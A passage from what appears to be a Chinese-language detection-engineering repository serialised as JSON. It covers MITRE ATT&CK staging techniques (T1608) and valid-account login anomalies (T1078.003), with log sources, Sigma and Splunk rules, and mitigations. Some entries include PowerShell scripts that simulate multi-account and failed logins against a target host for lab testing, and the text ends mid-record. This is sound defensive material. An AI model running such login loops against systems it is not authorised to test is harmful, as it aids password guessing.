启用“关闭自动根证书更新”以防止意外信任。\n\n2. **用户教育**  \n   - 培训用户识别可疑HTTPS网站，尤其是提示证书不受信任的页面。  \n\n3. **网络安全控制**  \n   - 部署TLS解密设备（如下一代防火墙）以检查加密流量，识别伪造或不受信任证书的使用。  \n   - 配置入侵检测系统（IDS）以检测异常TLS握手或证书错误。\n\n4. **证书管理**  \n   - 定期审计系统中的根证书和中间证书，移除或限制不受信任的证书。  \n   - 使用证书透明度（CT）日志监控可疑证书的颁发。  \n\n5. **基础设施保护**  \n   - 监控组织拥有的服务器和域名，防止攻击者利用被入侵的基础设施安装恶意证书。  \n   - 使用域名监控服务（如DomainTools）检测可疑域名活动。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在相关后续行为上，包括但不限于：  \n- **异常证书检测**：监控系统中运行的HTTPS连接，检查证书是否为伪造或来自不受信任的CA。  \n- **根证书安装监控**：检测系统中是否安装了非预期或不受信任的根证书，可能是攻击者铺垫中间人攻击的迹象。  \n  - 示例Windows事件ID：4657（注册表更改，可能涉及证书存储）。  \n- **网络行为监控**：通过EDR或SIEM系统，关注异常的HTTPS流量、脚本执行或与可疑域名相关的通信。  \n- **证书信息追踪**：利用证书透明度（CT）日志或其他服务，跟踪Internet上使用的证书，识别与攻击者基础设施相关的证书。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1608-003  \n  <https://attack.mitre.org/techniques/T1608/003/>"
  },
  {
    "path": "Windows/02资源开发/T1608.004-部署能力-部署路过式攻击资源.md",
    "content": "# T1608-004-部署能力-部署路过式攻击资源\n\n## 描述\n\n攻击者可能准备一个操作环境，通过在用户正常浏览过程中访问恶意网站感染系统，实施路过式下载（Drive-by Compromise）攻击。用户的Web浏览器通常是攻击目标，访问攻击者控制的网站后通常无需额外用户交互即可触发漏洞利用。攻击者还可能为非漏洞利用行为设置网站，例如窃取应用程序访问令牌。实施路过式攻击前，攻击者需部署相关资源（如恶意脚本或内容），以向访问站点的用户提供漏洞利用。这些资源可能部署在攻击者控制的基础设施上，如已购买或租用的基础设施（获取基础设施T1583）或被入侵的基础设施（入侵基础设施T1584）。\n\n攻击者可能通过以下方式部署恶意内容：\n- 将恶意JavaScript或其他脚本注入网页、论坛帖子或其他用户可控制的内容。\n- 通过合法广告提供商制作恶意网络广告并购买广告空间，嵌入到第三方网站。\n- 部署脚本分析用户浏览器，收集主机信息（如浏览器版本、插件）以确认目标是否易受攻击。\n\n被攻陷的网站可能是特定社区（如政府、行业或地区）常访问的站点，旨在针对具有共同兴趣或行为特征的用户群体，这种攻击常被称为战略性网络入侵或水坑攻击（Watering Hole Attack）。攻击者还可能注册与合法域名相似的域名（如同形文字、域名抢注或不同顶级域），以提升攻击的隐蔽性和可信度。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **水坑攻击部署恶意脚本**  \n   攻击者将恶意JavaScript注入行业论坛网站，针对特定行业的用户，当用户访问论坛时，脚本利用浏览器漏洞（如CVE-2021-21224）执行恶意代码。\n\n2. **恶意广告分发**  \n   攻击者通过合法广告网络购买广告空间，嵌入恶意广告，诱导用户浏览器加载恶意内容，触发漏洞利用或收集用户凭据。(比如：银狐的经典手法)\n\n## 检测日志\n\n**无法有效监测**  \n路过式攻击资源的部署通常发生在攻击者控制或第三方基础设施上，与目标系统无直接交互，因此难以通过日志直接检测。可能相关的日志来源包括：\n\n- **网络日志**：与恶意网站或广告网络相关的异常HTTP/HTTPS流量（如异常的JavaScript请求）可能提供间接线索。\n- **浏览器日志**：浏览器安全警告或异常脚本执行可能记录在客户端日志中。\n- **安全软件日志**：EDR或防病毒工具可能记录浏览器漏洞利用或异常网络行为的尝试。\n\n## 测试复现\n\n无具体复现方法。  \n\n## 测试留痕\n\n无明显留痕。  \n\n路过式攻击资源的部署通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段，包括：\n\n- **漏洞利用执行**：如果攻击触发浏览器漏洞，可能在系统日志或EDR中记录异常进程或内存操作。\n- **网络活动**：与恶意网站或C2服务器的通信可能生成异常网络流量，记录在IDS/IPS或网络日志中。\n- **浏览器行为**：异常脚本执行或浏览器崩溃可能触发客户端安全告警。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。\n\n## 建议\n\n### 缓解措施\n\n由于路过式攻击资源的部署发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **浏览器安全配置**  \n   - 保持浏览器及插件（如Flash、Java）更新，修补已知漏洞。  \n   - 禁用不必要的浏览器插件，降低攻击面。  \n   - 示例：配置浏览器禁用JavaScript或启用沙箱模式。\n\n2. **网络安全控制**  \n   - 部署Web过滤器或代理，阻止访问可疑或未经授权的域名。  \n   - 使用TLS解密设备检查加密流量，识别恶意脚本或内容。  \n\n3. **用户教育**  \n   - 培训用户识别可疑网站，避免访问不受信任的链接或论坛。  \n\n4. **应用程序白名单**  \n   - 部署应用程序白名单策略，限制未经授权的脚本或可执行文件运行。  \n\n5. **系统加固**  \n   - 启用浏览器安全功能，如地址空间布局随机化（ASLR）和数据执行保护（DEP）。  \n   - 限制用户权限，减少漏洞利用导致的损害。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在攻击生命周期的后续阶段，包括但不限于：  \n- **漏洞利用检测**：监控浏览器异常行为，如意外进程创建、内存操作或崩溃，识别潜在的路过式攻击。  \n- **网络行为监控**：通过IDS/IPS或SIEM系统，关注与可疑域名或IP的异常HTTP/HTTPS流量。  \n- **日志分析**：分析系统日志（如Windows事件ID 4688、5156）或浏览器日志，识别与漏洞利用或脚本执行相关的行为。  \n- **威胁情报整合**：利用威胁情报平台，关联已知路过式攻击的IOC（如恶意域名、IP地址或脚本哈希）。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1608-004  \n  <https://attack.mitre.org/techniques/T1608/004/>"
  },
  {
    "path": "Windows/02资源开发/T1608.005-部署能力-部署链接目标资源.md",
    "content": "# T1608-005-部署能力-部署链接目标资源\n\n## 描述\n\n攻击者可能部署可在定向攻击期间使用的网络链接目标资源，以支持鱼叉式网络钓鱼（Spearphishing）或其他恶意活动。攻击者依赖用户点击恶意链接来泄露信息（如凭据）或获得执行权限。链接通常通过社会工程学手段分发，例如通过电子邮件发送带有诱导性文本的链接，诱使用户点击或复制URL到浏览器中。在信息侦查阶段（如鱼叉式网络钓鱼链接收集信息）或初始访问阶段（如鱼叉式网络钓鱼链接获取系统访问）之前，攻击者需为链接目标部署资源，如HTML页面、恶意脚本或文件。\n\n链接目标资源通常是一个HTML页面，可能包含客户端脚本（如JavaScript）以动态决定向用户提供的内容。攻击者可能克隆合法网站（如组织登录页面或知名Web服务登录页面）作为链接目标，以收集用户凭据。攻击者还可能上传恶意软件，并将链接目标指向可供用户下载并执行的恶意文件。\n\n攻击者可能在获取基础设施（T1583-获取域名）期间购买与合法域名相似的域名（如同形文字、域名抢注或不同顶级域名），以提升链接的可信度。此外，攻击者可能滥用链接缩短服务（如Bitly、TinyURL）隐藏恶意URL，增加诱导用户点击的机会。\n\n## 测试案例\n\n暂无，仅提供辅助理解案例：\n\n1. **克隆登录页面收集凭据**  \n   攻击者克隆某银行的登录页面，部署在相似域名（如bank-login.com）上，通过鱼叉式网络钓鱼邮件诱导用户输入凭据。\n\n2. **分发恶意文件**  \n   攻击者通过链接缩短服务分发指向恶意可执行文件的链接，伪装成合法文档（如PDF或Office文件），诱导用户下载并执行。\n\n## 检测日志\n\n**无法有效监测**  \n链接目标资源的部署通常发生在攻击者控制或第三方基础设施上，与目标系统无直接交互，因此难以通过日志直接检测。可能相关的日志来源包括：\n\n- **网络日志**：与恶意链接相关的HTTP/HTTPS流量（如访问可疑域名或IP）可能提供间接线索。\n- **邮件日志**：邮件网关可能记录包含恶意链接的鱼叉式网络钓鱼邮件。\n- **安全软件日志**：EDR或防病毒工具可能记录用户访问恶意链接后触发的异常行为（如下载可疑文件）。\n\n## 测试复现\n\n无具体复现方法。  \n\n## 测试留痕\n\n无明显留痕。  \n\n链接目标资源的部署通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段，包括：\n\n- **网络活动**：访问恶意链接可能生成异常HTTP/HTTPS流量，记录在IDS/IPS或网络日志中。\n- **用户行为**：用户输入凭据或下载恶意文件可能触发浏览器安全警告或EDR告警。\n- **文件系统痕迹**：下载的恶意文件可能在系统中创建临时文件，记录在文件系统日志中。\n\n## 检测规则/思路\n\n**检测规则**  \n无明确的检测规则。\n\n## 建议\n\n### 缓解措施\n\n由于链接目标资源的部署发生在企业防御和控制范围之外，难以通过预防性措施直接缓解。以下是一些建议：\n\n1. **邮件安全控制**  \n   - 部署邮件网关，过滤包含可疑链接或附件的鱼叉式网络钓鱼邮件。  \n\n2. **浏览器安全配置**  \n   - 保持浏览器及插件更新，修补已知漏洞，降低鱼叉式网络钓鱼链接的成功率。  \n   - 启用浏览器安全功能，如禁用不必要的JavaScript或启用沙箱模式。\n\n3. **网络安全控制**  \n   - 部署Web过滤器或代理，阻止访问可疑或未经授权的域名。  \n   - 使用TLS解密设备检查加密流量，识别恶意链接或内容。  \n\n4. **域名保护**  \n   - 监控与组织相关的可疑域名注册，检测同形文字或抢注域名，防止攻击者伪装合法网站。  \n   - 使用域名监控服务（如DomainTools）检测可疑域名活动。\n\n### 检测\n\n由于此类活动通常在目标组织的可见性之外，检测工作应集中在攻击生命周期的后续阶段，包括但不限于：  \n- **网络钓鱼检测**：监控邮件网关日志，识别包含可疑链接或缩短URL的鱼叉式网络钓鱼邮件。  \n- **网络行为监控**：通过IDS/IPS或SIEM系统，关注与可疑域名或IP的异常HTTP/HTTPS流量。  \n- **行为监控**：通过EDR或防病毒工具，检测用户访问恶意链接后的异常行为，如凭据泄露或文件下载。  \n- **威胁情报整合**：利用威胁情报平台，关联已知钓鱼链接的IOC（如恶意域名、IP地址或文件哈希）。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1608-005  \n  <https://attack.mitre.org/techniques/T1608/005/>"
  },
  {
    "path": "Windows/03初始访问/T1078.003-Win-多账户同时登陆.md",
    "content": "# T1078-003-有效账户-多账户同时登录\n\n## 描述\n\n攻击者可能获取并滥用本地账户的凭据，以实现初始访问、建立持久化、提升权限或规避防御。本地账户通常由组织配置，用于用户、远程支持、服务或管理单个系统或服务。攻击者可通过窃取本地账户凭据绕过对系统或网络资源的访问控制，甚至实现对远程系统或外部服务（如VPN、Outlook Web Access或远程桌面）的持久访问。此外，盗取的凭据可能授予攻击者更高权限，访问特定系统或网络限制区域。\n\n攻击者可能利用本地账户进行操作系统凭据导出（如提取SAM数据库中的哈希），以提升权限或收集更多凭据。密码重用或弱密码策略可能导致多台设备成为攻击目标，为攻击者提供横向移动或提权的机会。多账户同时登录一台设备（或在短时间内登录）可能是异常行为的指标，表明攻击者正在尝试利用多个凭据进行测试或操作。\n\n## 测试案例\n\n多账户同时或在同一小时内登录到同一台计算机，通常在正常网络环境中不常见，可能表明攻击者正在测试凭据或进行横向移动。\n\n- **案例1：凭据测试**  \n  攻击者通过暴力破解或凭据窃取获取多个本地账户，短时间内尝试在同一主机上登录以验证有效性。\n\n- **案例2：横向移动**  \n  攻击者利用窃取的本地账户凭据，在同一主机上使用不同账户登录，尝试提升权限或访问敏感资源。\n\n## 检测日志\n\n**Windows安全日志**  \nWindows系统中与登录相关的日志是检测多账户登录行为的关键来源：\n- **登录事件**：\n  - Windows Vista及更高版本：事件ID 4624（成功登录）。\n  - Windows XP及更早版本：事件ID 528（交互式登录）或540（网络登录）。\n- **注销事件**：\n  - Windows Vista及更高版本：事件ID 4634（成功注销）。\n  - Windows XP及更早版本：事件ID 538（注销）。\n- **登录类型**：关注登录类型2（交互式登录）、3（网络登录）、9（新凭据登录）和10（远程交互登录）。  \n  有关登录类型的详细信息，可参考Microsoft的“[审核登录事件](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc787567(v=ws.10))”页面。\n\n## 测试复现\n\n1. **环境准备**：\n   - 配置一台Windows测试主机，启用安全日志审核（事件ID 4624）。\n   - 创建多个本地测试账户（如user1、user2、user3）。\n\n2. **模拟多账户登录**：\n   - 使用脚本或手动操作，在短时间内（例如1小时内）以不同账户登录同一主机。\n   - 示例PowerShell脚本（模拟多个账户登录）：\n     ```powershell\n     $credentials = @(\n         New-Object System.Management.Automation.PSCredential(\"user1\", (ConvertTo-SecureString \"Password123\" -AsPlainText -Force)),\n         New-Object System.Management.Automation.PSCredential(\"user2\", (ConvertTo-SecureString \"Password123\" -AsPlainText -Force))\n     )\n     foreach ($cred in $credentials) {\n         Start-Process powershell -Credential $cred -ArgumentList \"-Command\", \"Write-Output 'Login attempt'\"\n     }\n     ```\n\n3. **验证日志**：\n   - 检查Windows事件查看器中的安全日志，确认是否记录多个账户的登录事件（事件ID 4624）。\n   - 验证登录类型（如2、3、9、10）是否符合预期。\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n多账户登录可能在以下日志中留下痕迹：\n- **Windows安全日志**：记录登录事件（事件ID 4624、528、540）和注销事件（事件ID 4634、538）。\n- **登录类型**：关注交互式登录（类型2）、网络登录（类型3）、新凭据登录（类型9）和远程交互登录（类型10）。\n- **异常模式**：短时间内多个账户在同一主机登录，可能是攻击者测试凭据或横向移动的迹象。\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Windows安全日志，检测短时间内（例如1小时内）同一主机上的多账户登录行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Windows安全日志，提取事件ID 4624（或528/540）的记录。\n   - 按主机名分组，统计1小时内登录的唯一账户数量。\n\n2. **ES规则**：\n   - 以下是ElasticSearch（ELK）规则，用于检测同一主机上多账户登录：\n     ```elk\n     users_list = search UserSession:Login\n     users_grouped = group users_list by hostname\n     users_grouped = from users_grouped select min(time) as earliest_time, max(time) as latest_time, count(user) as user_count\n     multiple_logins = filter users_grouped where (latest_time - earliest_time <= 1 hour and user_count > 1)\n     output multiple_logins\n     ```\n\n3. **SIEM规则**：\n   - 在SIEM系统中设置告警，检测同一主机在短时间内（1小时）登录的账户数超过阈值（如2个）。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Security\" EventCode=4624 | bucket _time span=1h | stats dc(Account_Name) as user_count by host | where user_count > 1\n     ```\n\n4. **威胁情报整合**：\n   - 结合威胁情报，检查登录账户是否与已知恶意活动相关（如异常的IP地址或用户代理）。\n\n## 建议\n\n### 缓解措施\n\n由于多账户登录可能涉及合法凭据的滥用，防御需从凭据保护和访问控制入手：\n\n1. **凭据保护**  \n   - 实施强密码策略，强制使用复杂密码并定期更换。  \n   - 启用多因素认证（MFA），降低凭据被盗后的风险。  \n   - 示例：为远程桌面或VPN启用MFA。\n\n2. **访问控制**  \n   - 限制本地账户的使用，仅允许必要用户和服务账户访问特定系统。  \n   - 使用最小权限原则，减少高权限账户的暴露。  \n   - 示例：通过组策略限制本地管理员账户的使用。\n\n3. **系统加固**  \n   - 禁用不必要的远程访问协议（如RDP），或限制其来源IP。  \n   - 配置Windows防火墙，阻止未授权的网络登录尝试。\n\n4. **用户教育**  \n   - 培训用户识别鱼叉式网络钓鱼或社会工程学攻击，避免泄露凭据。  \n   - 教授用户定期检查账户活动，报告异常登录。\n\n### 检测\n\n检测工作应集中在多账户登录的异常行为上，包括但不限于：  \n- **登录事件监控**：分析Windows安全日志（事件ID 4624、528、540），检测短时间内多账户登录同一主机的行为。  \n- **异常模式识别**：通过SIEM或EDR工具，识别异常的登录类型（如类型3或10）或来自可疑IP的登录尝试。  \n- **行为分析**：监控与登录相关的后续行为，如凭据导出（事件ID 4672、4673）或异常进程启动。  \n- **威胁情报整合**：使用威胁情报平台（如VirusTotal、ThreatConnect）检查登录IP或账户是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1078-003  \n  <https://attack.mitre.org/techniques/T1078/003/>  \n- Microsoft: 审核登录事件  \n  <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc787567(v=ws.10)>"
  },
  {
    "path": "Windows/03初始访问/T1078.003-Win-来自公网的登陆失败行为.md",
    "content": "# T1078.003-有效账户-来自公网的登录失败行为\n\n## 描述\n\n攻击者可能利用面向外部的远程服务（如VPN、Citrix、远程桌面或Windows Remote Management）实现初始访问或在网络内建立持久化。这些服务通常通过远程服务网关管理连接和凭据身份验证。攻击者可能通过凭据窃取、暴力破解或从被攻陷的企业网络中获取有效账户，以访问这些服务。成功利用远程服务可为攻击者提供冗余或持久的访问机制，绕过传统防御措施。\n\n来自公网的登录失败行为可能表明攻击者正在尝试暴力破解、凭据填充或测试窃取的账户。此类行为可能暴露防火墙或网络边界配置的错误，允许未经授权的公网IP访问内部服务。检测此类行为有助于识别潜在的攻击尝试或配置问题。\n\n## 测试案例\n\n1. **暴力破解尝试**  \n   攻击者从公网IP对远程桌面服务（RDP）发起多次登录尝试，使用不同账户和密码组合，导致多次登录失败事件。\n\n2. **凭据填充攻击**  \n   攻击者使用从数据泄露中获取的凭据列表，尝试登录组织的VPN或Citrix服务，触发大量登录失败记录。\n\n## 检测日志\n\n**Windows安全日志**  \n检测登录失败行为依赖Windows安全日志中的以下事件：\n- **登录失败事件**：事件ID 4625（Windows Vista及更高版本），记录账户登录失败的详细信息，包括源IP地址、账户名和失败原因。\n- **登录成功事件**（辅助分析）：事件ID 4624，记录成功登录，可用于对比异常登录模式。\n- **注销事件**（辅助分析）：事件ID 4634，记录用户注销，协助分析登录会话。\n\n## 测试复现\n\n1. **环境准备**：\n   - 配置一台Windows测试主机，启用RDP或VPN服务，并开启安全日志审核（事件ID 4625）。\n   - 确保主机可从公网访问（模拟暴露的远程服务）。\n\n2. **模拟公网登录失败**：\n   - 从外部网络（公网IP）使用错误凭据尝试登录RDP或VPN服务，触发登录失败事件。\n   - 示例PowerShell脚本（模拟RDP登录尝试）：\n     ```powershell\n     $credential = New-Object System.Management.Automation.PSCredential(\"testuser\", (ConvertTo-SecureString \"WrongPassword\" -AsPlainText -Force))\n     try { Enter-PSSession -ComputerName <Target_IP> -Credential $credential } catch { Write-Output \"Login failed\" }\n     ```\n\n3. **验证日志**：\n   - 检查Windows事件查看器中的安全日志，确认事件ID 4625记录，验证源IP为公网地址（如非私有IP范围）。\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n登录失败行为可能在以下日志中留下痕迹：\n- **Windows安全日志**：事件ID 4625，记录登录失败的详细信息，包括：\n  - 源IP地址（公网IP）。\n  - 目标账户名。\n  - 失败原因（如错误密码、账户锁定）。\n- **网络日志**：防火墙或IDS/IPS可能记录来自公网IP的异常连接尝试。\n- **服务日志**：VPN或RDP服务日志可能记录登录失败的详细信息。\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Windows安全日志，检测来自公网IP的登录失败行为，排除私有IP范围（如10.0.0.0/8、192.168.0.0/16）。以下是具体思路：\n\n1. **日志分析**：\n   - 收集事件ID 4625的日志，提取源IP地址、账户名和时间戳。\n   - 过滤非私有IP地址，识别来自公网的登录尝试。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 来自公网的登录失败行为\n   id: 7a2b5f7d-3c8e-4f6b-9a1a-5f4e6e0c7b2d\n   description: 检测来自公网IP的登录失败事件，可能表明暴力破解、凭据填充或网络配置错误。\n   author: NVISO, 12306Br0 (翻译+测试)\n   date: 2020/05/06\n   tags:\n     - attack.initial_access\n     - attack.persistence\n     - attack.t1078\n     - attack.t1190\n     - attack.t1133\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection:\n       EventID: 4625 # 登录失败\n     unknown:\n       IpAddress|contains: '-'\n     privatev4:\n       IpAddress|startswith:\n         - '10.' # 10.0.0.0/8\n         - '192.168.' # 192.168.0.0/16\n         - '172.16.' # 172.16.0.0/12\n         - '172.17.'\n         - '172.18.'\n         - '172.19.'\n         - '172.20.'\n         - '172.21.'\n         - '172.22.'\n         - '172.23.'\n         - '172.24.'\n         - '172.25.'\n         - '172.26.'\n         - '172.27.'\n         - '172.28.'\n         - '172.29.'\n         - '172.30.'\n         - '172.31.'\n         - '127.' # 127.0.0.0/8\n         - '169.254.' # 169.254.0.0/16\n     privatev6:\n       IpAddress:\n         - '::1' # IPv6 loopback\n         - 'fe80::' # link-local\n         - 'fc00::' # unique local\n     condition: selection and not (unknown or privatev4 or privatev6)\n   falsepositives:\n     - 合法的公网登录尝试（如远程员工使用VPN）。\n     - IPv4到IPv6映射的IP地址。\n   level: medium\n   ```\n\n3. **SIEM规则**：\n   - 在SIEM系统中设置告警，检测来自非私有IP的登录失败事件。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Security\" EventCode=4625 NOT (src_ip IN (\"10.*\", \"192.168.*\", \"172.16.*\", \"172.17.*\", \"172.18.*\", \"172.19.*\", \"172.20.*\", \"172.21.*\", \"172.22.*\", \"172.23.*\", \"172.24.*\", \"172.25.*\", \"172.26.*\", \"172.27.*\", \"172.28.*\", \"172.29.*\", \"172.30.*\", \"172.31.*\", \"127.*\", \"169.254.*\", \"::1\", \"fe80::*\", \"fc00::*\")) | stats count by src_ip, dest, Account_Name\n     ```\n\n4. **威胁情报整合**：\n   - 检查登录失败事件的源IP是否与已知恶意IP相关，结合威胁情报平台（如VirusTotal、ThreatConnect）。\n\n## 建议\n\n### 缓解措施\n\n由于公网登录失败可能涉及攻击者尝试利用远程服务，防御需从访问控制和配置加固入手：\n\n1. **访问控制**  \n   - 限制远程服务（如RDP、VPN）的公网访问，仅允许特定IP范围（如公司VPN白名单）。  \n   - 启用多因素认证（MFA）以降低凭据被盗的风险。  \n   - 示例：为RDP配置网络级身份验证（NLA）。\n\n2. **防火墙配置**  \n   - 配置防火墙规则，阻止未经授权的公网IP访问远程服务端口（如RDP的3389）。  \n   - 使用入侵防御系统（IPS）检测暴力破解或凭据填充尝试。\n\n3. **凭据保护**  \n   - 实施强密码策略，强制复杂密码并定期更换。  \n\n## 参考推荐\n\n- MITRE-ATT&CK:T1078-003  \n  <https://attack.mitre.org/techniques/T1078/003/>"
  },
  {
    "path": "Windows/03初始访问/T1078.003-Win-账户登录失败.md",
    "content": "# T1078.003-win-账户登录失败\n\n## 描述\n\n攻击者可能通过凭据访问技术（如凭据窃取、暴力破解或社会工程学）获取特定用户或服务账户的凭据，用于初始访问、持久化、权限提升或防御逃避。攻击者可能针对以下三种账户：\n- **默认账户**：操作系统或软件的内置账户，如Windows的Guest或Administrator账户，或其他设备/软件的默认提供商账户。\n- **本地账户**：由组织配置，用于用户、远程支持、服务或单个系统/服务的管理。\n- **域账户**：由活动目录域服务（AD-DS）管理，权限跨域内多个系统和服务。\n\n攻击者可能滥用本地账户凭据，通过操作系统凭据导出（如提取SAM数据库中的哈希）实现权限提升或收集更多凭据。密码重用或弱密码策略可能导致多台设备上的本地账户被滥用，为攻击者提供横向移动或提权的机会。来自单一源系统的多次登录失败可能表明攻击者正在尝试暴力破解、凭据填充或测试窃取的账户。\n\n## 测试案例\n\n1. **暴力破解本地账户**  \n   攻击者从单一源IP使用多个用户名和密码组合尝试登录Windows系统，触发多次登录失败事件（事件ID 4625）。\n\n2. **凭据填充攻击**  \n   攻击者使用从数据泄露中获取的凭据列表，尝试登录域账户或本地账户，导致同一工作站记录多个账户的登录失败。\n\n## 检测日志\n\n**Windows安全日志**  \n检测账户登录失败行为依赖Windows安全日志中的以下事件：\n- **登录失败事件**：\n  - Windows Vista及更高版本：事件ID 4625（本地账户登录失败）。\n  - Windows XP及更早版本：事件ID 529（登录失败）。\n  - 域账户登录失败：事件ID 4776（适用于域控制器上的NTLM认证）。\n- **登录成功事件**（辅助分析）：事件ID 4624，记录成功登录，用于对比异常登录模式。\n- **注销事件**（辅助分析）：事件ID 4634，记录用户注销，协助分析登录会话。\n\n## 测试复现\n\n1. **环境准备**：\n   - 配置一台Windows测试主机，启用安全日志审核（事件ID 4625、4776）。\n   - 创建多个本地账户或配置域环境，模拟真实场景。\n\n2. **模拟登录失败**：\n   - 从单一源系统（如测试工作站）使用错误凭据多次尝试登录本地或域账户。\n   - 示例PowerShell脚本（模拟登录失败）：\n     ```powershell\n     $users = @(\"user1\", \"user2\", \"user3\")\n     foreach ($user in $users) {\n         $credential = New-Object System.Management.Automation.PSCredential($user, (ConvertTo-SecureString \"WrongPassword\" -AsPlainText -Force))\n         try { Enter-PSSession -ComputerName <Target_IP> -Credential $credential } catch { Write-Output \"Login failed for $user\" }\n     }\n     ```\n\n3. **验证日志**：\n   - 检查Windows事件查看器中的安全日志，确认事件ID 4625或4776记录，验证是否记录多个账户的登录失败及源工作站信息。\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n账户登录失败可能在以下日志中留下痕迹：\n- **Windows安全日志**：\n  - 事件ID 4625：记录本地账户登录失败，包含源IP、账户名和失败原因。\n  - 事件ID 4776：记录域账户NTLM认证失败，包含工作站名和账户信息。\n- **网络日志**：防火墙或IDS/IPS可能记录来自单一源的多次登录尝试。\n- **服务日志**：远程服务（如RDP）可能记录登录失败的详细信息。\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Windows安全日志，检测单一源系统在短时间内（例如24小时）尝试多个账户登录失败的行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集事件ID 4625（本地账户登录失败）和4776（域账户登录失败）的日志。\n   - 按工作站名分组，统计唯一账户数量，检测异常模式（如单一源尝试多个账户）。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 从单一源系统使用不同账户登录失败\n   id: 8b4e6c3a-9f2d-4a1e-b7c5-2e9a8d4f6e3b\n   description: 检测单一源系统尝试多个用户账户登录失败，可能表明暴力破解或凭据填充。\n   date: 2020/06/09\n   tags:\n     - attack.persistence\n     - attack.privilege_escalation\n     - attack.t1078.003\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection1:\n       EventID:\n         - 4625 # Windows Vista及以上，登录失败\n         - 529 # Windows 2003及以下，登录失败\n       UserName: '*'\n       WorkstationName: '*'\n     selection2:\n       EventID: 4776 # 域账户NTLM认证失败\n       UserName: '*'\n       Workstation: '*'\n     timeframe: 24h\n     condition:\n       - selection1 | count(UserName) by WorkstationName > 3\n       - selection2 | count(UserName) by Workstation > 3\n   falsepositives:\n     - 终端服务器或Citrix服务器场等多用户系统\n     - 用户频繁切换账户的工作站\n     - 合法的测试或管理活动\n   level: medium\n   ```\n\n3. **SIEM规则**：\n   - 在SIEM系统中设置告警，检测单一工作站在24小时内尝试登录的账户数超过阈值。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Security\" EventCode IN (4625, 529, 4776) | bucket _time span=24h | stats dc(Account_Name) as user_count by Workstation_Name | where user_count > 3\n     ```\n\n4. **威胁情报整合**：\n   - 检查登录失败事件的源IP或工作站是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、ThreatConnect）。\n\n## 建议\n\n### 缓解措施\n\n由于账户登录失败可能表明攻击者尝试利用有效账户，防御需从凭据保护和访问控制入手：\n\n1. **凭据保护**  \n   - 实施强密码策略，强制使用复杂密码并定期更换。  \n   - 启用多因素认证（MFA），降低凭据被盗后的风险。  \n   - 示例：为RDP或VPN启用MFA。\n\n2. **账户锁定策略**  \n   - 配置账户锁定策略，限制登录失败次数（如5次失败后锁定账户30分钟）。  \n   - 示例Windows组策略设置：\n     - 路径：`计算机配置->Windows设置->安全设置->账户策略->账户锁定策略`\n\n3. **访问控制**  \n   - 限制本地账户和域账户的使用，仅允许必要用户和服务账户访问特定系统。  \n   - 使用最小权限原则，减少高权限账户的暴露。\n\n4. **网络安全控制**  \n   - 配置防火墙规则，限制远程服务（如RDP的3389端口）的访问，仅允许白名单IP。  \n   - 使用入侵防御系统（IPS）检测暴力破解或凭据填充尝试。\n\n5. **用户教育**  \n   - 培训用户识别鱼叉式网络钓鱼或社会工程学攻击，避免泄露凭据。  \n   - 教授用户定期检查账户活动，报告异常登录尝试。\n\n### 检测\n\n检测工作应集中在登录失败的异常行为上，包括但不限于：  \n- **登录失败监控**：分析Windows安全日志（事件ID 4625、4776），检测单一源尝试多个账户登录失败的行为。  \n- **异常模式识别**：通过SIEM或EDR工具，识别高频登录失败或来自可疑IP/workstation的尝试。  \n- **行为分析**：监控与登录失败相关的后续行为，如凭据导出（事件ID 4672、4673）或异常进程启动。  \n- **威胁情报整合**：利用威胁情报平台，关联登录失败的源IP或账户是否与已知恶意活动相关。\n\n### 建议阈值调整\n\n- **根据业务需求调整阈值**：默认规则中阈值为单一源24小时内尝试超过3个账户，可根据实际环境（如多用户系统或高频登录场景）调整为更高阈值（如5个账户）。\n- **排除误报**：识别合法多用户场景（如终端服务器、Citrix环境），通过白名单排除误报。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1078-003  \n  <https://attack.mitre.org/techniques/T1078/003/>\n"
  },
  {
    "path": "Windows/03初始访问/T1133-外部远程服务.md",
